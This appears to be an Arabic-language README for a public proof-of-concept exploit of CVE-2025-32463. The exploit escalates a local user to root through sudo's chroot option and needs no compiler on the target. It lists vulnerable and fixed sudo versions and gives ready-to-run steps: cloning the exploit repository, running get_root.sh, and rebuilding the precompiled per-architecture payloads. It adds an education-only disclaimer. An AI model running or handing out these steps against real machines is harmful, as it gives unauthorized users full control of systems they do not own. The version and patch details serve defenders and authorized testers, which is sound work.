CVE-2025-32463 - لا يتطلب gcc

تصعيد الامتيازات إلى صلاحيات root عبر sudo، مع عدم الحاجة إلى تثبيت gcc على الهدف.

اكتشفها Rich Mirch.

لقد كتبت مقالاً يشرح تخفيف الهجوم هنا: Ubuntu Unattended-Upgrades

الإصدارات المتأثرة

• الإصدارات المعرضة للخطر: sudo 1.9.14, 1.9.15, 1.9.16, 1.9.17
• تم إصلاحه في: sudo 1.9.17p1 والإصدارات الأحدث
• الإصدارات القديمة التي تسبق 1.9.14 غير متأثرة، لأنها لا تدعم خيار --chroot.

الاستغلال (gcc غير مطلوب)

# get_root.sh and get_root.py do the same thing.
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
cd CVE-2025-32463
./get_root.sh

لا يتطلب gcc على الجهاز الهدف. يعمل الاستغلال (PoC) عن طريق التحقق من البنية المعمارية الحالية (مثل x86_64, aarch64)، ثم تنفيذ الحمولة المترجمة مسبقاً ديناميكياً والمقابلة لها. إذا فشل ذلك، فإنه يستخدم الحمولة الثابتة بدلاً من ذلك.

إذا فشل الاستغلال على جهازك، لا يزال بإمكانك ترجمته باستخدام:

./mkall-dynamic.sh

# then run
./get_root.sh

ولكنك ستحتاج بوضوح إلى مترجم في هذه المرحلة.

إخلاء مسؤولية

• هذا الكود لأغراض تعليمية واختبارية فقط.
• استخدمه فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
• أنا غير مسؤول عن أي إساءة استخدام أو أضرار.

المراجع

• NVD - CVE-2025-32463
• Stratascale - CVE-2025-32463 sudo chroot